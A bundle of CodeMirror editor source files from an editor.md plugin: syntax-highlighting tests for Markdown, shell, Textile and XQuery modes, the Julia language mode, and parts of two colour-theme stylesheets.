// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function() {
var mode = CodeMirror.getMode({tabSize: 4}, "gfm");
function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }
var modeHighlightFormatting = CodeMirror.getMode({tabSize: 4}, {name: "gfm", highlightFormatting: true});
function FT(name) { test.mode(name, modeHighlightFormatting, Array.prototype.slice.call(arguments, 1)); }
FT("codeBackticks",
"[comment&formatting&formatting-code `][comment foo][comment&formatting&formatting-code `]");
FT("doubleBackticks",
"[comment&formatting&formatting-code ``][comment foo ` bar][comment&formatting&formatting-code ``]");
FT("codeBlock",
"[comment&formatting&formatting-code-block ```css]",
"[tag foo]",
"[comment&formatting&formatting-code-block ```]");
FT("taskList",
"[variable-2&formatting&formatting-list&formatting-list-ul - ][meta&formatting&formatting-task [ ]]][variable-2 foo]",
"[variable-2&formatting&formatting-list&formatting-list-ul - ][property&formatting&formatting-task [x]]][variable-2 foo]");
FT("formatting_strikethrough",
"[strikethrough&formatting&formatting-strikethrough ~~][strikethrough foo][strikethrough&formatting&formatting-strikethrough ~~]");
FT("formatting_strikethrough",
"foo [strikethrough&formatting&formatting-strikethrough ~~][strikethrough bar][strikethrough&formatting&formatting-strikethrough ~~]");
MT("emInWordAsterisk",
"foo[em *bar*]hello");
MT("emInWordUnderscore",
"foo_bar_hello");
MT("emStrongUnderscore",
"[strong __][em&strong _foo__][em _] bar");
MT("fencedCodeBlocks",
"[comment ```]",
"[comment foo]",
"",
"[comment ```]",
"bar");
MT("fencedCodeBlockModeSwitching",
"[comment ```javascript]",
"[variable foo]",
"",
"[comment ```]",
"bar");
MT("taskListAsterisk",
"[variable-2 * []] foo]", // Invalid; must have space or x between []
"[variable-2 * [ ]]bar]", // Invalid; must have space after ]
"[variable-2 * [x]]hello]", // Invalid; must have space after ]
"[variable-2 * ][meta [ ]]][variable-2 [world]]]", // Valid; tests reference style links
" [variable-3 * ][property [x]]][variable-3 foo]"); // Valid; can be nested
MT("taskListPlus",
"[variable-2 + []] foo]", // Invalid; must have space or x between []
"[variable-2 + [ ]]bar]", // Invalid; must have space after ]
"[variable-2 + [x]]hello]", // Invalid; must have space after ]
"[variable-2 + ][meta [ ]]][variable-2 [world]]]", // Valid; tests reference style links
" [variable-3 + ][property [x]]][variable-3 foo]"); // Valid; can be nested
MT("taskListDash",
"[variable-2 - []] foo]", // Invalid; must have space or x between []
"[variable-2 - [ ]]bar]", // Invalid; must have space after ]
"[variable-2 - [x]]hello]", // Invalid; must have space after ]
"[variable-2 - ][meta [ ]]][variable-2 [world]]]", // Valid; tests reference style links
" [variable-3 - ][property [x]]][variable-3 foo]"); // Valid; can be nested
MT("taskListNumber",
"[variable-2 1. []] foo]", // Invalid; must have space or x between []
"[variable-2 2. [ ]]bar]", // Invalid; must have space after ]
"[variable-2 3. [x]]hello]", // Invalid; must have space after ]
"[variable-2 4. ][meta [ ]]][variable-2 [world]]]", // Valid; tests reference style links
" [variable-3 1. ][property [x]]][variable-3 foo]"); // Valid; can be nested
MT("SHA",
"foo [link be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2] bar");
MT("SHAEmphasis",
"[em *foo ][em&link be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2][em *]");
MT("shortSHA",
"foo [link be6a8cc] bar");
MT("tooShortSHA",
"foo be6a8c bar");
MT("longSHA",
"foo be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd22 bar");
MT("badSHA",
"foo be6a8cc1c1ecfe9489fb51e4869af15a13fc2cg2 bar");
MT("userSHA",
"foo [link bar@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2] hello");
MT("userSHAEmphasis",
"[em *foo ][em&link bar@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2][em *]");
MT("userProjectSHA",
"foo [link bar/hello@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2] world");
MT("userProjectSHAEmphasis",
"[em *foo ][em&link bar/hello@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2][em *]");
MT("num",
"foo [link #1] bar");
MT("numEmphasis",
"[em *foo ][em&link #1][em *]");
MT("badNum",
"foo #1bar hello");
MT("userNum",
"foo [link bar#1] hello");
MT("userNumEmphasis",
"[em *foo ][em&link bar#1][em *]");
MT("userProjectNum",
"foo [link bar/hello#1] world");
MT("userProjectNumEmphasis",
"[em *foo ][em&link bar/hello#1][em *]");
MT("vanillaLink",
"foo [link http://www.example.com/] bar");
MT("vanillaLinkPunctuation",
"foo [link http://www.example.com/]. bar");
MT("vanillaLinkExtension",
"foo [link http://www.example.com/index.html] bar");
MT("vanillaLinkEmphasis",
"foo [em *][em&link http://www.example.com/index.html][em *] bar");
MT("notALink",
"[comment ```css]",
"[tag foo] {[property color]:[keyword black];}",
"[comment ```][link http://www.example.com/]");
MT("notALink",
"[comment ``foo `bar` http://www.example.com/``] hello");
MT("notALink",
"[comment `foo]",
"[link http://www.example.com/]",
"[comment `foo]",
"",
"[link http://www.example.com/]");
MT("headerCodeBlockGithub",
"[header&header-1 # heading]",
"",
"[comment ```]",
"[comment code]",
"[comment ```]",
"",
"Commit: [link be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2]",
"Issue: [link #1]",
"Link: [link http://www.example.com/]");
MT("strikethrough",
"[strikethrough ~~foo~~]");
MT("strikethroughWithStartingSpace",
"~~ foo~~");
MT("strikethroughUnclosedStrayTildes",
"[strikethrough ~~foo~~~]");
MT("strikethroughUnclosedStrayTildes",
"[strikethrough ~~foo ~~]");
MT("strikethroughUnclosedStrayTildes",
"[strikethrough ~~foo ~~ bar]");
MT("strikethroughUnclosedStrayTildes",
"[strikethrough ~~foo ~~ bar~~]hello");
MT("strikethroughOneLetter",
"[strikethrough ~~a~~]");
MT("strikethroughWrapped",
"[strikethrough ~~foo]",
"[strikethrough foo~~]");
MT("strikethroughParagraph",
"[strikethrough ~~foo]",
"",
"foo[strikethrough ~~bar]");
MT("strikethroughEm",
"[strikethrough ~~foo][em&strikethrough *bar*][strikethrough ~~]");
MT("strikethroughEm",
"[em *][em&strikethrough ~~foo~~][em *]");
MT("strikethroughStrong",
"[strikethrough ~~][strong&strikethrough **foo**][strikethrough ~~]");
MT("strikethroughStrong",
"[strong **][strong&strikethrough ~~foo~~][strong **]");
})();
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/gfm/test.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/gfm/test.js",
"repo_id": "Humsen",
"token_count": 2819
} | 38 |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.defineMode("julia", function(_conf, parserConf) {
var ERRORCLASS = 'error';
function wordRegexp(words) {
return new RegExp("^((" + words.join(")|(") + "))\\b");
}
var operators = parserConf.operators || /^\.?[|&^\\%*+\-<>!=\/]=?|\?|~|:|\$|\.[<>]|<<=?|>>>?=?|\.[<>=]=|->?|\/\/|\bin\b/;
var delimiters = parserConf.delimiters || /^[;,()[\]{}]/;
var identifiers = parserConf.identifiers|| /^[_A-Za-z\u00A1-\uFFFF][_A-Za-z0-9\u00A1-\uFFFF]*!*/;
var blockOpeners = ["begin", "function", "type", "immutable", "let", "macro", "for", "while", "quote", "if", "else", "elseif", "try", "finally", "catch", "do"];
var blockClosers = ["end", "else", "elseif", "catch", "finally"];
var keywordList = ['if', 'else', 'elseif', 'while', 'for', 'begin', 'let', 'end', 'do', 'try', 'catch', 'finally', 'return', 'break', 'continue', 'global', 'local', 'const', 'export', 'import', 'importall', 'using', 'function', 'macro', 'module', 'baremodule', 'type', 'immutable', 'quote', 'typealias', 'abstract', 'bitstype', 'ccall'];
var builtinList = ['true', 'false', 'enumerate', 'open', 'close', 'nothing', 'NaN', 'Inf', 'print', 'println', 'Int', 'Int8', 'Uint8', 'Int16', 'Uint16', 'Int32', 'Uint32', 'Int64', 'Uint64', 'Int128', 'Uint128', 'Bool', 'Char', 'Float16', 'Float32', 'Float64', 'Array', 'Vector', 'Matrix', 'String', 'UTF8String', 'ASCIIString', 'error', 'warn', 'info', '@printf'];
//var stringPrefixes = new RegExp("^[br]?('|\")")
var stringPrefixes = /^(`|'|"{3}|([br]?"))/;
var keywords = wordRegexp(keywordList);
var builtins = wordRegexp(builtinList);
var openers = wordRegexp(blockOpeners);
var closers = wordRegexp(blockClosers);
var macro = /^@[_A-Za-z][_A-Za-z0-9]*/;
var symbol = /^:[_A-Za-z][_A-Za-z0-9]*/;
var indentInfo = null;
function in_array(state) {
var ch = cur_scope(state);
if(ch=="[" || ch=="{") {
return true;
}
else {
return false;
}
}
function cur_scope(state) {
if(state.scopes.length==0) {
return null;
}
return state.scopes[state.scopes.length - 1];
}
// tokenizers
function tokenBase(stream, state) {
// Handle scope changes
var leaving_expr = state.leaving_expr;
if(stream.sol()) {
leaving_expr = false;
}
state.leaving_expr = false;
if(leaving_expr) {
if(stream.match(/^'+/)) {
return 'operator';
}
}
if(stream.match(/^\.{2,3}/)) {
return 'operator';
}
if (stream.eatSpace()) {
return null;
}
var ch = stream.peek();
// Handle Comments
if (ch === '#') {
stream.skipToEnd();
return 'comment';
}
if(ch==='[') {
state.scopes.push("[");
}
if(ch==='{') {
state.scopes.push("{");
}
var scope=cur_scope(state);
if(scope==='[' && ch===']') {
state.scopes.pop();
state.leaving_expr=true;
}
if(scope==='{' && ch==='}') {
state.scopes.pop();
state.leaving_expr=true;
}
if(ch===')') {
state.leaving_expr = true;
}
var match;
if(!in_array(state) && (match=stream.match(openers, false))) {
state.scopes.push(match);
}
if(!in_array(state) && stream.match(closers, false)) {
state.scopes.pop();
}
if(in_array(state)) {
if(stream.match(/^end/)) {
return 'number';
}
}
if(stream.match(/^=>/)) {
return 'operator';
}
// Handle Number Literals
if (stream.match(/^[0-9\.]/, false)) {
var imMatcher = RegExp(/^im\b/);
var floatLiteral = false;
// Floats
if (stream.match(/^\d*\.(?!\.)\d+([ef][\+\-]?\d+)?/i)) { floatLiteral = true; }
if (stream.match(/^\d+\.(?!\.)\d*/)) { floatLiteral = true; }
if (stream.match(/^\.\d+/)) { floatLiteral = true; }
if (floatLiteral) {
// Float literals may be "imaginary"
stream.match(imMatcher);
state.leaving_expr = true;
return 'number';
}
// Integers
var intLiteral = false;
// Hex
if (stream.match(/^0x[0-9a-f]+/i)) { intLiteral = true; }
// Binary
if (stream.match(/^0b[01]+/i)) { intLiteral = true; }
// Octal
if (stream.match(/^0o[0-7]+/i)) { intLiteral = true; }
// Decimal
if (stream.match(/^[1-9]\d*(e[\+\-]?\d+)?/)) {
intLiteral = true;
}
// Zero by itself with no other piece of number.
if (stream.match(/^0(?![\dx])/i)) { intLiteral = true; }
if (intLiteral) {
// Integer literals may be "long"
stream.match(imMatcher);
state.leaving_expr = true;
return 'number';
}
}
if(stream.match(/^(::)|(<:)/)) {
return 'operator';
}
// Handle symbols
if(!leaving_expr && stream.match(symbol)) {
return 'string';
}
// Handle operators and Delimiters
if (stream.match(operators)) {
return 'operator';
}
// Handle Strings
if (stream.match(stringPrefixes)) {
state.tokenize = tokenStringFactory(stream.current());
return state.tokenize(stream, state);
}
if (stream.match(macro)) {
return 'meta';
}
if (stream.match(delimiters)) {
return null;
}
if (stream.match(keywords)) {
return 'keyword';
}
if (stream.match(builtins)) {
return 'builtin';
}
if (stream.match(identifiers)) {
state.leaving_expr=true;
return 'variable';
}
// Handle non-detected items
stream.next();
return ERRORCLASS;
}
function tokenStringFactory(delimiter) {
while ('rub'.indexOf(delimiter.charAt(0).toLowerCase()) >= 0) {
delimiter = delimiter.substr(1);
}
var singleline = delimiter.length == 1;
var OUTCLASS = 'string';
function tokenString(stream, state) {
while (!stream.eol()) {
stream.eatWhile(/[^'"\\]/);
if (stream.eat('\\')) {
stream.next();
if (singleline && stream.eol()) {
return OUTCLASS;
}
} else if (stream.match(delimiter)) {
state.tokenize = tokenBase;
return OUTCLASS;
} else {
stream.eat(/['"]/);
}
}
if (singleline) {
if (parserConf.singleLineStringErrors) {
return ERRORCLASS;
} else {
state.tokenize = tokenBase;
}
}
return OUTCLASS;
}
tokenString.isString = true;
return tokenString;
}
function tokenLexer(stream, state) {
indentInfo = null;
var style = state.tokenize(stream, state);
var current = stream.current();
// Handle '.' connected identifiers
if (current === '.') {
style = stream.match(identifiers, false) ? null : ERRORCLASS;
if (style === null && state.lastStyle === 'meta') {
// Apply 'meta' style to '.' connected identifiers when
// appropriate.
style = 'meta';
}
return style;
}
return style;
}
var external = {
startState: function() {
return {
tokenize: tokenBase,
scopes: [],
leaving_expr: false
};
},
token: function(stream, state) {
var style = tokenLexer(stream, state);
state.lastStyle = style;
return style;
},
indent: function(state, textAfter) {
var delta = 0;
if(textAfter=="end" || textAfter=="]" || textAfter=="}" || textAfter=="else" || textAfter=="elseif" || textAfter=="catch" || textAfter=="finally") {
delta = -1;
}
return (state.scopes.length + delta) * 4;
},
lineComment: "#",
fold: "indent",
electricChars: "edlsifyh]}"
};
return external;
});
CodeMirror.defineMIME("text/x-julia", "julia");
});
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/julia/julia.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/julia/julia.js",
"repo_id": "Humsen",
"token_count": 3704
} | 39 |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function() {
var mode = CodeMirror.getMode({}, "shell");
function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }
MT("var",
"text [def $var] text");
MT("varBraces",
"text[def ${var}]text");
MT("varVar",
"text [def $a$b] text");
MT("varBracesVarBraces",
"text[def ${a}${b}]text");
MT("singleQuotedVar",
"[string 'text $var text']");
MT("singleQuotedVarBraces",
"[string 'text ${var} text']");
MT("doubleQuotedVar",
'[string "text ][def $var][string text"]');
MT("doubleQuotedVarBraces",
'[string "text][def ${var}][string text"]');
MT("doubleQuotedVarPunct",
'[string "text ][def $@][string text"]');
MT("doubleQuotedVarVar",
'[string "][def $a$b][string "]');
MT("doubleQuotedVarBracesVarBraces",
'[string "][def ${a}${b}][string "]');
MT("notAString",
"text\\'text");
MT("escapes",
"outside\\'\\\"\\`\\\\[string \"inside\\`\\'\\\"\\\\`\\$notAVar\"]outside\\$\\(notASubShell\\)");
MT("subshell",
"[builtin echo] [quote $(whoami)] s log, stardate [quote `date`].");
MT("doubleQuotedSubshell",
"[builtin echo] [string \"][quote $(whoami)][string 's log, stardate `date`.\"]");
MT("hashbang",
"[meta #!/bin/bash]");
MT("comment",
"text [comment # Blurb]");
MT("numbers",
"[number 0] [number 1] [number 2]");
MT("keywords",
"[keyword while] [atom true]; [keyword do]",
" [builtin sleep] [number 3]",
"[keyword done]");
MT("options",
"[builtin ls] [attribute -l] [attribute --human-readable]");
MT("operator",
"[def var][operator =]value");
})();
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/shell/test.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/shell/test.js",
"repo_id": "Humsen",
"token_count": 713
} | 40 |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function() {
var mode = CodeMirror.getMode({tabSize: 4}, 'textile');
function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }
MT('simpleParagraphs',
'Some text.',
'',
'Some more text.');
/*
* Phrase Modifiers
*/
MT('em',
'foo [em _bar_]');
MT('emBoogus',
'code_mirror');
MT('strong',
'foo [strong *bar*]');
MT('strongBogus',
'3 * 3 = 9');
MT('italic',
'foo [em __bar__]');
MT('italicBogus',
'code__mirror');
MT('bold',
'foo [strong **bar**]');
MT('boldBogus',
'3 ** 3 = 27');
MT('simpleLink',
'[link "CodeMirror":http://codemirror.net]');
MT('referenceLink',
'[link "CodeMirror":code_mirror]',
'Normal Text.',
'[link [[code_mirror]]http://codemirror.net]');
MT('footCite',
'foo bar[qualifier [[1]]]');
MT('footCiteBogus',
'foo bar[[1a2]]');
MT('special-characters',
'Registered [tag (r)], ' +
'Trademark [tag (tm)], and ' +
'Copyright [tag (c)] 2008');
MT('cite',
"A book is [keyword ??The Count of Monte Cristo??] by Dumas.");
MT('additionAndDeletion',
'The news networks declared [negative -Al Gore-] ' +
'[positive +George W. Bush+] the winner in Florida.');
MT('subAndSup',
'f(x, n) = log [builtin ~4~] x [builtin ^n^]');
MT('spanAndCode',
'A [quote %span element%] and [atom @code element@]');
MT('spanBogus',
'Percentage 25% is not a span.');
MT('citeBogus',
'Question? is not a citation.');
MT('codeBogus',
'user@example.com');
MT('subBogus',
'~username');
MT('supBogus',
'foo ^ bar');
MT('deletionBogus',
'3 - 3 = 0');
MT('additionBogus',
'3 + 3 = 6');
MT('image',
'An image: [string !http://www.example.com/image.png!]');
MT('imageWithAltText',
'An image: [string !http://www.example.com/image.png (Alt Text)!]');
MT('imageWithUrl',
'An image: [string !http://www.example.com/image.png!:http://www.example.com/]');
/*
* Headers
*/
MT('h1',
'[header&header-1 h1. foo]');
MT('h2',
'[header&header-2 h2. foo]');
MT('h3',
'[header&header-3 h3. foo]');
MT('h4',
'[header&header-4 h4. foo]');
MT('h5',
'[header&header-5 h5. foo]');
MT('h6',
'[header&header-6 h6. foo]');
MT('h7Bogus',
'h7. foo');
MT('multipleHeaders',
'[header&header-1 h1. Heading 1]',
'',
'Some text.',
'',
'[header&header-2 h2. Heading 2]',
'',
'More text.');
MT('h1inline',
'[header&header-1 h1. foo ][header&header-1&em _bar_][header&header-1 baz]');
/*
* Lists
*/
MT('ul',
'foo',
'bar',
'',
'[variable-2 * foo]',
'[variable-2 * bar]');
MT('ulNoBlank',
'foo',
'bar',
'[variable-2 * foo]',
'[variable-2 * bar]');
MT('ol',
'foo',
'bar',
'',
'[variable-2 # foo]',
'[variable-2 # bar]');
MT('olNoBlank',
'foo',
'bar',
'[variable-2 # foo]',
'[variable-2 # bar]');
MT('ulFormatting',
'[variable-2 * ][variable-2&em _foo_][variable-2 bar]',
'[variable-2 * ][variable-2&strong *][variable-2&em&strong _foo_]' +
'[variable-2&strong *][variable-2 bar]',
'[variable-2 * ][variable-2&strong *foo*][variable-2 bar]');
MT('olFormatting',
'[variable-2 # ][variable-2&em _foo_][variable-2 bar]',
'[variable-2 # ][variable-2&strong *][variable-2&em&strong _foo_]' +
'[variable-2&strong *][variable-2 bar]',
'[variable-2 # ][variable-2&strong *foo*][variable-2 bar]');
MT('ulNested',
'[variable-2 * foo]',
'[variable-3 ** bar]',
'[keyword *** bar]',
'[variable-2 **** bar]',
'[variable-3 ** bar]');
MT('olNested',
'[variable-2 # foo]',
'[variable-3 ## bar]',
'[keyword ### bar]',
'[variable-2 #### bar]',
'[variable-3 ## bar]');
MT('ulNestedWithOl',
'[variable-2 * foo]',
'[variable-3 ## bar]',
'[keyword *** bar]',
'[variable-2 #### bar]',
'[variable-3 ** bar]');
MT('olNestedWithUl',
'[variable-2 # foo]',
'[variable-3 ** bar]',
'[keyword ### bar]',
'[variable-2 **** bar]',
'[variable-3 ## bar]');
MT('definitionList',
'[number - coffee := Hot ][number&em _and_][number black]',
'',
'Normal text.');
MT('definitionListSpan',
'[number - coffee :=]',
'',
'[number Hot ][number&em _and_][number black =:]',
'',
'Normal text.');
MT('boo',
'[number - dog := woof woof]',
'[number - cat := meow meow]',
'[number - whale :=]',
'[number Whale noises.]',
'',
'[number Also, ][number&em _splashing_][number . =:]');
/*
* Attributes
*/
MT('divWithAttribute',
'[punctuation div][punctuation&attribute (#my-id)][punctuation . foo bar]');
MT('divWithAttributeAnd2emRightPadding',
'[punctuation div][punctuation&attribute (#my-id)((][punctuation . foo bar]');
MT('divWithClassAndId',
'[punctuation div][punctuation&attribute (my-class#my-id)][punctuation . foo bar]');
MT('paragraphWithCss',
'p[attribute {color:red;}]. foo bar');
MT('paragraphNestedStyles',
'p. [strong *foo ][strong&em _bar_][strong *]');
MT('paragraphWithLanguage',
'p[attribute [[fr]]]. Parlez-vous français?');
MT('paragraphLeftAlign',
'p[attribute <]. Left');
MT('paragraphRightAlign',
'p[attribute >]. Right');
MT('paragraphRightAlign',
'p[attribute =]. Center');
MT('paragraphJustified',
'p[attribute <>]. Justified');
MT('paragraphWithLeftIndent1em',
'p[attribute (]. Left');
MT('paragraphWithRightIndent1em',
'p[attribute )]. Right');
MT('paragraphWithLeftIndent2em',
'p[attribute ((]. Left');
MT('paragraphWithRightIndent2em',
'p[attribute ))]. Right');
MT('paragraphWithLeftIndent3emRightIndent2em',
'p[attribute ((())]. Right');
MT('divFormatting',
'[punctuation div. ][punctuation&strong *foo ]' +
'[punctuation&strong&em _bar_][punctuation&strong *]');
MT('phraseModifierAttributes',
'p[attribute (my-class)]. This is a paragraph that has a class and' +
' this [em _][em&attribute (#special-phrase)][em emphasized phrase_]' +
' has an id.');
MT('linkWithClass',
'[link "(my-class). This is a link with class":http://redcloth.org]');
/*
* Layouts
*/
MT('paragraphLayouts',
'p. This is one paragraph.',
'',
'p. This is another.');
MT('div',
'[punctuation div. foo bar]');
MT('pre',
'[operator pre. Text]');
MT('bq.',
'[bracket bq. foo bar]',
'',
'Normal text.');
MT('footnote',
'[variable fn123. foo ][variable&strong *bar*]');
/*
* Spanning Layouts
*/
MT('bq..ThenParagraph',
'[bracket bq.. foo bar]',
'',
'[bracket More quote.]',
'p. Normal Text');
MT('bq..ThenH1',
'[bracket bq.. foo bar]',
'',
'[bracket More quote.]',
'[header&header-1 h1. Header Text]');
MT('bc..ThenParagraph',
'[atom bc.. # Some ruby code]',
'[atom obj = {foo: :bar}]',
'[atom puts obj]',
'',
'[atom obj[[:love]] = "*love*"]',
'[atom puts obj.love.upcase]',
'',
'p. Normal text.');
MT('fn1..ThenParagraph',
'[variable fn1.. foo bar]',
'',
'[variable More.]',
'p. Normal Text');
MT('pre..ThenParagraph',
'[operator pre.. foo bar]',
'',
'[operator More.]',
'p. Normal Text');
/*
* Tables
*/
MT('table',
'[variable-3&operator |_. name |_. age|]',
'[variable-3 |][variable-3&strong *Walter*][variable-3 | 5 |]',
'[variable-3 |Florence| 6 |]',
'',
'p. Normal text.');
MT('tableWithAttributes',
'[variable-3&operator |_. name |_. age|]',
'[variable-3 |][variable-3&attribute /2.][variable-3 Jim |]',
'[variable-3 |][variable-3&attribute \\2{color: red}.][variable-3 Sam |]');
/*
* HTML
*/
MT('html',
'[comment <div id="wrapper">]',
'[comment <section id="introduction">]',
'',
'[header&header-1 h1. Welcome]',
'',
'[variable-2 * Item one]',
'[variable-2 * Item two]',
'',
'[comment <a href="http://example.com">Example</a>]',
'',
'[comment </section>]',
'[comment </div>]');
MT('inlineHtml',
'I can use HTML directly in my [comment <span class="youbetcha">Textile</span>].');
/*
* No-Textile
*/
MT('notextile',
'[string-2 notextile. *No* formatting]');
MT('notextileInline',
'Use [string-2 ==*asterisks*==] for [strong *strong*] text.');
MT('notextileWithPre',
'[operator pre. *No* formatting]');
MT('notextileWithSpanningPre',
'[operator pre.. *No* formatting]',
'',
'[operator *No* formatting]');
/* Only toggling phrases between non-word chars. */
MT('phrase-in-word',
'foo_bar_baz');
MT('phrase-non-word',
'[negative -x-] aaa-bbb ccc-ddd [negative -eee-] fff [negative -ggg-]');
MT('phrase-lone-dash',
'foo - bar - baz');
})();
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/textile/test.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/textile/test.js",
"repo_id": "Humsen",
"token_count": 4182
} | 41 |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
// Don't take these too seriously -- the expected results appear to be
// based on the results of actual runs without any serious manual
// verification. If a change you made causes them to fail, the test is
// as likely to wrong as the code.
(function() {
var mode = CodeMirror.getMode({tabSize: 4}, "xquery");
function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }
MT("eviltest",
"[keyword xquery] [keyword version] [variable "1][keyword .][atom 0][keyword -][variable ml"][def&variable ;] [comment (: this is : a \"comment\" :)]",
" [keyword let] [variable $let] [keyword :=] [variable <x] [variable attr][keyword =][variable "value">"test"<func>][def&variable ;function]() [variable $var] {[keyword function]()} {[variable $var]}[variable <][keyword /][variable func><][keyword /][variable x>]",
" [keyword let] [variable $joe][keyword :=][atom 1]",
" [keyword return] [keyword element] [variable element] {",
" [keyword attribute] [variable attribute] { [atom 1] },",
" [keyword element] [variable test] { [variable 'a'] }, [keyword attribute] [variable foo] { [variable "bar"] },",
" [def&variable fn:doc]()[[ [variable foo][keyword /][variable @bar] [keyword eq] [variable $let] ]],",
" [keyword //][variable x] } [comment (: a more 'evil' test :)]",
" [comment (: Modified Blakeley example (: with nested comment :) ... :)]",
" [keyword declare] [keyword private] [keyword function] [def&variable local:declare]() {()}[variable ;]",
" [keyword declare] [keyword private] [keyword function] [def&variable local:private]() {()}[variable ;]",
" [keyword declare] [keyword private] [keyword function] [def&variable local:function]() {()}[variable ;]",
" [keyword declare] [keyword private] [keyword function] [def&variable local:local]() {()}[variable ;]",
" [keyword let] [variable $let] [keyword :=] [variable <let>let] [variable $let] [keyword :=] [variable "let"<][keyword /let][variable >]",
" [keyword return] [keyword element] [variable element] {",
" [keyword attribute] [variable attribute] { [keyword try] { [def&variable xdmp:version]() } [keyword catch]([variable $e]) { [def&variable xdmp:log]([variable $e]) } },",
" [keyword attribute] [variable fn:doc] { [variable "bar"] [variable castable] [keyword as] [atom xs:string] },",
" [keyword element] [variable text] { [keyword text] { [variable "text"] } },",
" [def&variable fn:doc]()[[ [qualifier child::][variable eq][keyword /]([variable @bar] [keyword |] [qualifier attribute::][variable attribute]) [keyword eq] [variable $let] ]],",
" [keyword //][variable fn:doc]",
" }");
MT("testEmptySequenceKeyword",
"[string \"foo\"] [keyword instance] [keyword of] [keyword empty-sequence]()");
MT("testMultiAttr",
"[tag <p ][attribute a1]=[string \"foo\"] [attribute a2]=[string \"bar\"][tag >][variable hello] [variable world][tag </p>]");
MT("test namespaced variable",
"[keyword declare] [keyword namespace] [variable e] [keyword =] [string \"http://example.com/ANamespace\"][variable ;declare] [keyword variable] [variable $e:exampleComThisVarIsNotRecognized] [keyword as] [keyword element]([keyword *]) [variable external;]");
MT("test EQName variable",
"[keyword declare] [keyword variable] [variable $\"http://www.example.com/ns/my\":var] [keyword :=] [atom 12][variable ;]",
"[tag <out>]{[variable $\"http://www.example.com/ns/my\":var]}[tag </out>]");
MT("test EQName function",
"[keyword declare] [keyword function] [def&variable \"http://www.example.com/ns/my\":fn] ([variable $a] [keyword as] [atom xs:integer]) [keyword as] [atom xs:integer] {",
" [variable $a] [keyword +] [atom 2]",
"}[variable ;]",
"[tag <out>]{[def&variable \"http://www.example.com/ns/my\":fn]([atom 12])}[tag </out>]");
MT("test EQName function with single quotes",
"[keyword declare] [keyword function] [def&variable 'http://www.example.com/ns/my':fn] ([variable $a] [keyword as] [atom xs:integer]) [keyword as] [atom xs:integer] {",
" [variable $a] [keyword +] [atom 2]",
"}[variable ;]",
"[tag <out>]{[def&variable 'http://www.example.com/ns/my':fn]([atom 12])}[tag </out>]");
MT("testProcessingInstructions",
"[def&variable data]([comment&meta <?target content?>]) [keyword instance] [keyword of] [atom xs:string]");
MT("testQuoteEscapeDouble",
"[keyword let] [variable $rootfolder] [keyword :=] [string \"c:\\builds\\winnt\\HEAD\\qa\\scripts\\\"]",
"[keyword let] [variable $keysfolder] [keyword :=] [def&variable concat]([variable $rootfolder], [string \"keys\\\"])");
})();
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/xquery/test.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/xquery/test.js",
"repo_id": "Humsen",
"token_count": 1954
} | 42 |
.cm-s-elegant span.cm-number, .cm-s-elegant span.cm-string, .cm-s-elegant span.cm-atom {color: #762;}
.cm-s-elegant span.cm-comment {color: #262; font-style: italic; line-height: 1em;}
.cm-s-elegant span.cm-meta {color: #555; font-style: italic; line-height: 1em;}
.cm-s-elegant span.cm-variable {color: black;}
.cm-s-elegant span.cm-variable-2 {color: #b11;}
.cm-s-elegant span.cm-qualifier {color: #555;}
.cm-s-elegant span.cm-keyword {color: #730;}
.cm-s-elegant span.cm-builtin {color: #30a;}
.cm-s-elegant span.cm-link {color: #762;}
.cm-s-elegant span.cm-error {background-color: #fdd;}
.cm-s-elegant .CodeMirror-activeline-background {background: #e8f2ff !important;}
.cm-s-elegant .CodeMirror-matchingbracket {outline:1px solid grey; color:black !important;}
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/theme/elegant.css/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/theme/elegant.css",
"repo_id": "Humsen",
"token_count": 329
} | 43 |
/*
Name: Tomorrow Night - Bright
Author: Chris Kempson
Port done by Gerard Braad <me@gbraad.nl>
*/
.cm-s-tomorrow-night-bright.CodeMirror {background: #000000; color: #eaeaea;}
.cm-s-tomorrow-night-bright div.CodeMirror-selected {background: #424242 !important;}
.cm-s-tomorrow-night-bright .CodeMirror-gutters {background: #000000; border-right: 0px;}
.cm-s-tomorrow-night-bright .CodeMirror-guttermarker { color: #e78c45; }
